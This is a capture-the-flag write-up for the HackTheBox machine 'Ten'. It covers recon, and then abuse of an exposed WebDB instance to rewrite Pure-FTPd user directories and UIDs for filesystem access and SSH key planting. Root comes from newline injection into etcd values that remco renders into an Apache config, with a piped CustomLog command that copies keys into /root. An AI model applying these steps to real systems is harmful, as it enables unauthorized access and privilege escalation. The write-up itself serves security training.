Ten

Ten offers a website with hosting services, where the user can sign up for a subdomain and get access to FTP to put files into that domain. There’s also an open WebDM instance, and on getting access, I’ll find I can modify the directories used by the FTP server and the user ID such that I can write an SSH key into a user’s directory and get access. With that foothold, I’ll see that the website is using etcd and remco to generate Apache configs as users create sites. I’ll abuse that to get a shell as root.

Box Info

Name Ten Ten
Play on HackTheBox
Release Date 24 Jul 2025
Retire Date 24 Jul 2025
OS Linux Linux
Base Points Hard [40]
First Blood User N/A (non-competitive)
First Blood Root N/A (non-competitive)
Creator jkr

Recon

Initial Scanning

nmap finds three open TCP ports, FTI (21), SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.234.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-22 03:29 UTC
...[snip]...
Scanned at 2025-07-22 03:29:16 UTC for 7s
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 63
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Nmap done: 1 IP address (1 host up) scanned in 6.86 seconds
           Raw packets sent: 65539 (2.884MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ nmap -p 21,22,80 -sCV 10.129.234.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-22 03:30 UTC
Nmap scan report for 10.129.234.149
Host is up (0.092s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Pure-FTPd
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 13:98:54:52:d3:7b:ae:32:6a:33:6f:18:a3:5a:27:66 (ECDSA)
|_  256 2e:d5:86:25:c1:6b:0e:51:a2:2a:dd:82:44:a6:00:63 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Page moved.
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.64 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 22.04 jammy (though it could be 22.10 kinetic).

All of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

FTP - TCP 21

nmap would typically show if anonymous login is allow, but I’ll try just in case:

oxdf@hacky$ ftp anonymous@10.129.234.149
Connected to 10.129.234.149.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 19:52. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
331 User anonymous OK. Password required
Password: 
530 Login authentication failed
ftp: Login failed
ftp> 

It fails.

Website - TCP 80

Site

Visiting the site by IP redirects to /index.php, which presents a page about a hosting company:

image-20250721155322208 expand

The “Sign up today” link leads to a simple page asking for a domain name:

image-20250721155423789

If I enter “oxdf” into the box and click “Request credentials.”, it hangs for a few seconds and returns:

image-20250721163037898

Tech Stack

The page extensions are all .php, so it’s a PHP site.

The HTTP response headers just show the Apache server:

HTTP/1.1 200 OK
Date: Mon, 21 Jul 2025 19:56:48 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 5131
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

The 404 page is the default Apache as well:

image-20250721160004855

Directory Brute Force

I’ll run feroxbuster against the site, and include -x php since I know the site is PHP:

oxdf@hacky$ feroxbuster -u http://ten.vl -x php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://ten.vl
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      271c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      268c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       90l      208w     1632c http://ten.vl/carousel.css
200      GET       97l      297w     4050c http://ten.vl/signup.php
200      GET       90l      402w    39588c http://ten.vl/dist/img/caffeine-coffee-cup-6347.jpg
200      GET       81l      464w    44565c http://ten.vl/dist/img/cyber-security-cybersecurity-device-60504.jpg
200      GET        7l      971w    76855c http://ten.vl/dist/js/bootstrap.bundle.min.js
200      GET        7l     1966w   155758c http://ten.vl/dist/css/bootstrap.min.css
200      GET      199l     1208w   122095c http://ten.vl/dist/img/account-calculate-calculating-220301.jpg
200      GET      130l      754w    81244c http://ten.vl/dist/img/black-and-white-computer-device-163017.jpg
200      GET      221l     1367w   147808c http://ten.vl/dist/img/abstract-ai-art-373543.jpg
200      GET     1169l     5839w   651702c http://ten.vl/dist/img/ai-codes-coding-97077.jpg
200      GET     1408l     6105w   617689c http://ten.vl/dist/img/ai-artificial-intelligence-codes-247791.jpg
302      GET        1l        8w       76c http://ten.vl/get-credentials-please-do-not-spam-this-thanks.php => http://ten.vl/signup.php
200      GET      113l      404w     5131c http://ten.vl/index.php
200      GET        9l       25w      205c http://ten.vl/
200      GET      844l     4357w    74269c http://ten.vl/info.php
200      GET       78l      226w     4525c http://ten.vl/attribution.php
200      GET      127l      339w    23825c http://ten.vl/dist/img/donkey-ddos.jpg
200      GET      133l      601w    58305c http://ten.vl/dist/img/art-bright-card-1749900.jpg
200      GET      952l     5029w   527530c http://ten.vl/dist/img/business-code-coding-943096.jpg
200      GET      879l     4746w   402071c http://ten.vl/dist/img/abstract-architecture-attractive-988873.jpg
301      GET        9l       28w      299c http://ten.vl/dist => http://ten.vl/dist/
[##################>-] - 56s    28452/30045   3s      found:21      errors:2
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_ten_vl-1753157196.state ...
[##################>-] - 56s    28502/30045   3s      found:21      errors:2
[#########>----------] - 56s    14207/30000   253/s   http://ten.vl/
[####################] - 0s     30000/30000   300000/s http://ten.vl/dist/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 1s     30000/30000   59289/s http://ten.vl/dist/css/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 5s     30000/30000   6151/s  http://ten.vl/dist/img/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s     30000/30000   75567/s http://ten.vl/dist/js/ => Directory listing (add --scan-dir-listings to scan) 

/info.php is a PHPinfo page:

image-20250721161203781

/attribution.php has links to the original sources of the images used on the site:

image-20250721161303889

/dist is listable, but only has images, CSS, and JavaScript, and nothing interesting.

Custom Site

I’ll add a line to my hosts file for this box:

10.129.234.149	ten.vl oxdf.ten.vl

Visiting oxdf.ten.vl returns 404 (for now). I’ll log into FTP with the given creds:

oxdf@hacky$ ftp ten-299467c0@10.129.234.149
Connected to 10.129.234.149.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 20:47. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
331 User ten-299467c0 OK. Password required
Password: 
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

Immediately now the page loads:

image-20250721163200622

I’ll note there’s some weirdness if I use the domain “0xdf”. It never loads. Might be something worth poking at.

If I put a dummy file up over FTP:

ftp> put test.html
local: test.html remote: test.html
229 Extended Passive mode OK (|||3738|)
150 Accepted data connection
100% |******************************************************************************************|     6      189.01 KiB/s    00:00 ETA
226-File successfully transferred
226 0.091 seconds (measured here), 65.70 bytes per second
6 bytes sent in 00:00 (0.06 KiB/s)

It shows up on the site:

image-20250721163304070

I’ll try to put PHP files up, but they don’t execute, just return the raw file:

oxdf@hacky$ curl http://oxdf.ten.vl/test.php
<?php echo "hello"; ?>

I am able to request the same site again, and it gives new creds. At this point, I can FTP into a new empty account. Files there don’t show up on the webserver.

Subdomain Enumeration

Given the clear use of virtual host routing on the webserver, I’ll brute force for any subdomains that respond differently than the default page:

oxdf@hacky$ ffuf -u http://10.129.234.149 -H "Host: FUZZ.ten.vl" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.234.149
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.ten.vl
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

webdb                   [Status: 200, Size: 1685, Words: 55, Lines: 14, Duration: 129ms]
:: Progress: [19966/19966] :: Job [1/1] :: 434 req/sec :: Duration: [0:00:48] :: Errors: 0 ::

I’ll add this to my /etc/hosts file as well.

webdb.ten.vl - TCP 80

The site offers a list of databases with one entry, MySQL on localhost:

image-20250721164725296

This looks like an instance of WebDB. I don’t have creds, but pushing the “Guess Credentials” button pops up the valid creds:

image-20250721164809118

And then loads the interface under connected:

image-20250721164829376

Going into the pureftpd db, there is one table, users, and it has a bunch of accounts I created:

image-20250721171958343

Shell as tyrell

Access Filesystem

Access /srv

I’ll try editing the dir value for an account I control. It seems each intended value is /srv/<username>/./. I’ll try making it just /./:

image-20250721172301751

The error at the bottom suggests there’s a rule validating that the dir value starts with /srv. I can try just /srv/./, and it saves:

image-20250721172352811

If I reconnect to FTP with this user, I’ll see I’m up a directory:

oxdf@hacky$ ftp ten-9a28ba33@10.129.234.149
Connected to 10.129.234.149.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 21:40. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
331 User ten-9a28ba33 OK. Password required
Password: 
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls 
229 Extended Passive mode OK (|||30361|)
150 Accepted data connection
drwxr-xr-x    2 56773      56773            4096 Jul 21 20:53 ten-299467c0
drwxr-xr-x    2 10211      10211            4096 Jul 21 21:01 ten-9a28ba33
drwxr-xr-x    2 58887      58887            4096 Jul 21 20:44 ten-9d4beaf5
drwxr-xr-x    2 40721      40721            4096 Jul 21 20:35 ten-bb4b6261
drwxr-xr-x    2 18568      18568            4096 Jul 21 20:46 ten-e025484e
226-Options: -l 
226 5 matches total

This user can access files in all the other directories, but they were all created by me, and there’s nothing interesting.

Directory Traversal

I’ll try updating my user’s dir to /srv/.., which in theory should put the root at /. It is accepted in the web UI:

image-20250721172712981

And it works:

oxdf@hacky$ ftp ten-9a28ba33@10.129.234.149
Connected to 10.129.234.149.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 21:42. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
331 User ten-9a28ba33 OK. Password required
Password:
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Extended Passive mode OK (|||34410|)
150 Accepted data connection
lrwxrwxrwx    1 0          root                7 Feb 16  2024 bin -> usr/bin  
drwxr-xr-x    4 0          root             4096 Jun 24 20:09 boot
dr-xr-xr-x    2 0          root             4096 Jul  2 11:30 cdrom            
drwxr-xr-x   19 0          root             4000 Jul 21 13:20 dev
drwxr-xr-x  107 0          root             4096 Jul  2 12:27 etc
drwxr-xr-x    3 0          root             4096 Sep 28  2024 home
lrwxrwxrwx    1 0          root                7 Feb 16  2024 lib -> usr/lib
lrwxrwxrwx    1 0          root                9 Feb 16  2024 lib32 -> usr/lib32  
lrwxrwxrwx    1 0          root                9 Feb 16  2024 lib64 -> usr/lib64                      
lrwxrwxrwx    1 0          root               10 Feb 16  2024 libx32 -> usr/libx32
drwx------    2 0          root            16384 Sep 28  2024 lost+found  
drwxr-xr-x    2 0          root             4096 Feb 16  2024 media         
drwxr-xr-x    2 0          root             4096 Feb 16  2024 mnt
drwxr-xr-x    3 0          root             4096 Sep 28  2024 opt
dr-xr-xr-x  295 0          root                0 Jul 21 13:20 proc
drwx------    7 0          root             4096 Jul  2 12:29 root
drwxr-xr-x   35 0          root             1040 Jul 21 20:55 run
lrwxrwxrwx    1 0          root                8 Feb 16  2024 sbin -> usr/sbin
drwxr-xr-x    6 0          root             4096 Feb 16  2024 snap
drwxr-xr-x    7 0          root             4096 Jul 21 21:00 srv
dr-xr-xr-x   13 0          root                0 Jul 21 13:20 sys
drwxrwxrwt   16 0          root             4096 Jul 21 21:39 tmp
drwxr-xr-x   14 0          root             4096 Feb 16  2024 usr
drwxr-xr-x   14 0          root             4096 Sep 28  2024 var
226-Options: -l 
226 24 matches total

Filesystem Enumeration

In /etc/, I can grab passwd:

ftp> cd etc
250 OK. Current directory is /etc
ftp> get passwd
local: passwd remote: passwd
229 Extended Passive mode OK (|||26871|)
150 Accepted data connection
100% |******************************************************************************************|  1882       15.08 MiB/s    00:00 ETA
226-File successfully transferred
226 0.000 seconds (measured here), 26.41 Mbytes per second
1882 bytes received in 00:00 (4.30 MiB/s)

The only user on the box besides root with a shell is tyrell:

oxdf@hacky$ cat passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
tyrell:x:1000:1000:Tyrell W.:/home/tyrell:/bin/bash

If I try to get shadow, it fails:

ftp> get shadow
local: shadow remote: shadow
229 Extended Passive mode OK (|||47595|)
550 Can't open shadow: Permission denied

tyrell has a home directory as well:

ftp> cd /home
250 OK. Current directory is /home
ftp> ls
229 Extended Passive mode OK (|||22373|)
150 Accepted data connection
drwxr-x---    4 1000       tyrell           4096 Jun 24 20:09 tyrell
226-Options: -l 
226 1 matches total

The FTP user doesn’t seem to have access:

ftp> cd tyrell
550 Can't change directory to tyrell: Permission denied

SSH

Update User

The table also has the user’s UID and GID. I’ll try updating the user’s UID and GID to 0 (for root):

image-20250721173408414

It must be at least 1000. passwd showed that the tyrell user’s UID is 1000. I’m able to save that:

image-20250721173455525

I’ll reconnect FTP and now I’m able to get into /home/tyrell:

ftp> cd /home/tyrell
250 OK. Current directory is /home/tyrell
ftp> ls -la
229 Extended Passive mode OK (|||12173|)
150 Accepted data connection
drwxr-x---    4 1000       tyrell           4096 Jun 24 20:09 .
drwxr-xr-x    3 0          root             4096 Sep 28  2024 ..
lrwxrwxrwx    1 0          root                9 Jun 24 20:09 .bash_history -> /dev/null
-rw-r--r--    1 1000       tyrell            220 Jan  6  2022 .bash_logout
-rw-r--r--    1 1000       tyrell           3771 Jan  6  2022 .bashrc
drwx------    2 1000       tyrell           4096 Sep 28  2024 .cache
-rw-r--r--    1 1000       tyrell            807 Jan  6  2022 .profile
drwx------    2 1000       tyrell           4096 Sep 28  2024 .ssh
-r--------    1 1000       tyrell             33 Apr 11 05:17 .user.txt
226-Options: -a -l 
226 9 matches total

If I try to get .user.txt, it returns an error:

ftp> get .user.txt
local: .user.txt remote: .user.txt
229 Extended Passive mode OK (|||27093|)
553 Prohibited file name: .user.txt

I’m also not able to get into .ssh:

ftp> cd .ssh
553 Prohibited file name: .ssh

Access .ssh

I can’t cd into .ssh. There seems to be a block on anything that starts with .. But what if I try setting the base directory to /home/tyrell/.ssh? It works in the web DB UI:

image-20250721174709743

On connecting, the session shows an empty directory:

oxdf@hacky$ ftp ten-9a28ba33@10.129.234.149
Connected to 10.129.234.149.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 22:03. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
331 User ten-9a28ba33 OK. Password required
Password: 
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Extended Passive mode OK (|||39958|)
150 Accepted data connection
drwx------    2 1000       tyrell           4096 Jul 21 22:01 .
drwx------    2 1000       tyrell           4096 Jul 21 22:01 ..
226-Options: -a -l 
226 2 matches total

Write Key

With access to a potential .ssh folder, I’ll put my public SSH key into the authorized_keys file in that directory:

ftp> put ~/keys/ed25519_gen.pub authorized_keys
local: /home/oxdf/keys/ed25519_gen.pub remote: authorized_keys
229 Extended Passive mode OK (|||36980|)
150 Accepted data connection
100% |******************************************************************************************|    96        1.94 MiB/s    00:00 ETA
226-File successfully transferred
226 0.091 seconds (measured here), 1.03 Kbytes per second
96 bytes sent in 00:00 (1.02 KiB/s)

I’ll connect with SSH, and it works:

oxdf@hacky$ ssh -i ~/keys/ed25519_gen tyrell@ten.vl

 System information as of Mon Jul 21 10:04:29 PM UTC 2025

  System load:  0.08              Processes:             245
  Usage of /:   70.9% of 8.07GB   Users logged in:       1
  Memory usage: 16%               IPv4 address for eth0: 10.129.234.149
  Swap usage:   0%
tyrell@ten:~$

Here I have access to .user.txt:

tyrell@ten:~$ cat .user.txt
a0a255ad************************

Shell as root

Enumeration

Home Directories

tyrell’s home directory is otherwise empty:

tyrell@ten:~$ find . -type f
./.ssh/authorized_keys
./.profile
./.cache/motd.legal-displayed
./.user.txt
./.bashrc
./.bash_logout

They are the only user with a home directory in /home:

tyrell@ten:/home$ ls
tyrell

tyrell and root are the only users with shells set in passwd:

tyrell@ten:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
tyrell:x:1000:1000:Tyrell W.:/home/tyrell:/bin/bash

Web Configuration

There are three Apache sites are configured in /etc/apache2/sites-enabled:

tyrell@ten:/etc/apache2/sites-enabled$ ls
000-default.conf  001-webdb.conf  010-customers.conf

000-default.conf simply hosts the files in /var/www/html:

<VirtualHost *:80>
        ServerAdmin webmaster@ten.vl
        DocumentRoot /var/www/html
</VirtualHost>

001-webdb.conf forwards traffic to that virtual host to localhost port 22071, which is the webdb instance:

<VirtualHost *:80>
        ServerAdmin webmaster@ten.vl
        ServerName webdb.ten.vl
        ProxyPass "/"  "http://127.0.0.1:22071/"
        ProxyPassReverse "/"  "http://127.0.0.1:22071/"
</VirtualHost>

010-customers.conf has an entry for each site I’ve registered:

<VirtualHost *:80>
        ServerName asdasd.ten.vl
        DocumentRoot /srv/ten-13e92a74/
</VirtualHost>


<VirtualHost *:80>
        ServerName oxdf.ten.vl
        DocumentRoot /srv/ten-299467c0/
</VirtualHost>

                                               
<VirtualHost *:80>                             
        ServerName 0xdf.ten.vl                                                                
        DocumentRoot /srv/ten-6c7a27a3/                                                       
</VirtualHost>    
                                               
                                               
<VirtualHost *:80>
        ServerName oxdf.ten.vl                                                                
        DocumentRoot /srv/ten-9a28ba33/
</VirtualHost> 
...[snip]...

It’s interesting that if I register the same name multiple times, it just creates a new entry with the duplicate name. That’s why I’m not able to get to any but the first registered with a given name.

Website

/var/www/html has the PHP files that control the site:

tyrell@ten:/var/www/html$ ls
attribution.php  get-credentials-please-do-not-spam-this-thanks.php  index.php
carousel.css     images.txt                                          info.php
dist             index.html                                          signup.php

Only one file really have any PHP that executes, get-credentials-please-do-not-spam-this-thanks.php. This is where the POST requests to create a domain go.

It starts by making sure the domain POST parameter is set, and redirecting to /signup.php if not:

<?php
if ( !isset($_POST['domain']) ) {
  header('Location: /signup.php');
}

Then it checks for non alphanumeric characters in the domain, and returns a message if it finds any:

if(!preg_match('/^[0-9a-z]+$/', $_POST['domain'])) {
  echo('<font color=red>Domain name can only contain alphanumeric characters.</font>');
} else {
...[snip]...
}

If all is valid, it creates a username, random password, and connects to and updates the database:

} else {
  $username = "ten-" . substr(hash("md5",rand()),0,8);
  $password = substr(hash("md5",rand()),0,8);
  $password_crypt = crypt($password,'$1$OWNhNDE');
  sleep(10); // This is only here so that you do not create too many users :)
  $mysqli = new mysqli("127.0.0.1", "user", "pa55w0rd", "pureftpd");
  $stmt = $mysqli->prepare("INSERT INTO users VALUES ( NULL, ?, ?, ?, ?, ? );");
  $uid = random_int(2000,65535);
  $dir = "/srv/$username/./";
  $stmt->bind_param('ssiis',$username,$password_crypt,$uid,$uid,$dir);
  $stmt->execute();
  system("ETCDCTL_API=3 /usr/bin/etcdctl put /customers/$username/url " . $_POST['domain']);
  echo('<p class="lead">Your personal account is ready to be used:<br><br>Username: <b>'.$username.'</b><br>Password: <b>'.$password.'</b><br>Personal Domain: <b>'.$_POST['domain'].'.ten.vl</b><br><br>You can use the provided credentials to upload your pages<br> via ftp://ten.vl.<br><br><font size="-1">It may take up to one minute for all backend processes to properly identify you as well as your personal virtual host to be available.</font></p>');
}

Then it calls system() with the etcdctl command, and then writes the results to the response.

etcd

etcd is a distributed key-value store. The docs have a page called Interacting with etcd that show how to use etcdctl to read and write from this store.

I can dump all the customer data using the --prefix flag:

tyrell@ten:/$ ETCDCTL_API=3 etcdctl get /customers/ --prefix 
/customers/ten-13e92a74/url
asdasd
/customers/ten-299467c0/url
oxdf
/customers/ten-6c7a27a3/url
0xdf
/customers/ten-9a28ba33/url
oxdf
/customers/ten-9d4beaf5/url
0xdf
/customers/ten-b3e47d77/url
test
/customers/ten-bb4b6261/url
test
/customers/ten-d38ee535/url
0xdf
/customers/ten-e025484e/url
0xdf

remco

There’s a running process named remco:

tyrell@ten:/$ ps auxww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
...[snip]...
root         975  0.0  0.6 733880 24320 ?        Ssl  Jul21   1:02 /usr/local/sbin/remco
...[snip]...

remco is a configuration management tool. There are configuration files in /etc/remco:

tyrell@ten:/etc/remco$ ls
config  templates

config defines what it is doing:

log_level = "info"
log_format = "text"

[[resource]]
name = "apache2"

[[resource.template]]
  src = "/etc/remco/templates/010-customers.conf.tmpl"
  dst = "/etc/apache2/sites-enabled/010-customers.conf"
  reload_cmd = "systemctl restart apache2.service"

  [resource.backend]
    [resource.backend.etcd]
      version = 3
      nodes = ["http://127.0.0.1:2379"]
      keys = ["/customers"]
      watch = true
      interval = 5

It’s looking at etcd and specifically the /customers key. Any time it changes (on an interval of 5 seconds), it will regenerate the 010-customers.conf file from the provided template, and then run systemctl restart apache2.service.

010-customers.conf.tmpl is a for loop that generates a VirtualHost for each key in /customers:

{% for customer in lsdir("/customers") %}
  {% if exists(printf("/customers/%s/url", customer)) %}

<VirtualHost *:80>
        ServerName {{ getv(printf("/customers/%s/url",customer)) }}.ten.vl
        DocumentRoot /srv/{{ customer }}/
</VirtualHost>

  {% endif %}
{% endfor %}

I’ll test writing a simple key / value to etcd and seeing if it shows up in 010-customers.conf:

tyrell@ten:/etc$ ETCDCTL_API=3 etcdctl put /customers/AAAA/url BBBB
OK

A few seconds later:

tyrell@ten:/etc$ cat apache2/sites-enabled/010-customers.conf | head -5

<VirtualHost *:80>
        ServerName BBBB.ten.vl
        DocumentRoot /srv/AAAA/
</VirtualHost>

Shell

Newline Injection

If I can put newlines into the etcd values, then I can inject parameters into the Apache config file. I’ll start with a simple test that hopefully won’t break Apache when it restarts:

tyrell@ten:~$ ETCDCTL_API=3 etcdctl put /customers/ten-1291b4cb/url 'privesc.ten.vl
         # test here
         #'
OK

It works:

tyrell@ten:~$ head /etc/apache2/sites-enabled/010-customers.conf | head

<VirtualHost *:80>
        ServerName privesc.ten.vl
        # test here
        #.ten.vl
        DocumentRoot /srv/ten-1291b4cb/
</VirtualHost>

Piped Logs

I used comments above so that Apache wouldn’t break on restarting. Now it’s time to research execution methods. An interesting trick is to use Piped Logs. This is meant to allow running a command like rotatelogs on the log when writing to it with something like:

CustomLog "|/usr/local/apache/bin/rotatelogs /var/log/access_log 86400" common

I’ll write a directive to copy the authorized_keys file from tyrell to root:

tyrell@ten:~$ ETCDCTL_API=3 etcdctl put /customers/ten-1291b4cb/url 'privesc.ten.vl
        CustomLog "|$cp /home/tyrell/.ssh/authorized_keys /root/.ssh/authorized_keys" common 
        #'
OK

It shows up in the Apache config:

<VirtualHost *:80>
        ServerName privesc.ten.vl
        CustomLog "|$cp /home/tyrell/.ssh/authorized_keys /root/.ssh/authorized_keys" common
        #.ten.vl
        DocumentRoot /srv/ten-1291b4cb/
</VirtualHost>

Now I can SSH into Ten:

oxdf@hacky$ ssh -i ~/keys/ed25519_gen root@ten.vl

 System information as of Wed Jul 23 04:06:37 PM UTC 2025

  System load:  0.16              Processes:             244
  Usage of /:   69.8% of 8.07GB   Users logged in:       1
  Memory usage: 12%               IPv4 address for eth0: 10.129.234.149
  Swap usage:   0%

  => There is 1 zombie process.
Last login: Wed Jul  2 12:28:21 2025
root@ten:~# 

And grab root.txt:

root@ten:~# cat root.txt
d89266bd************************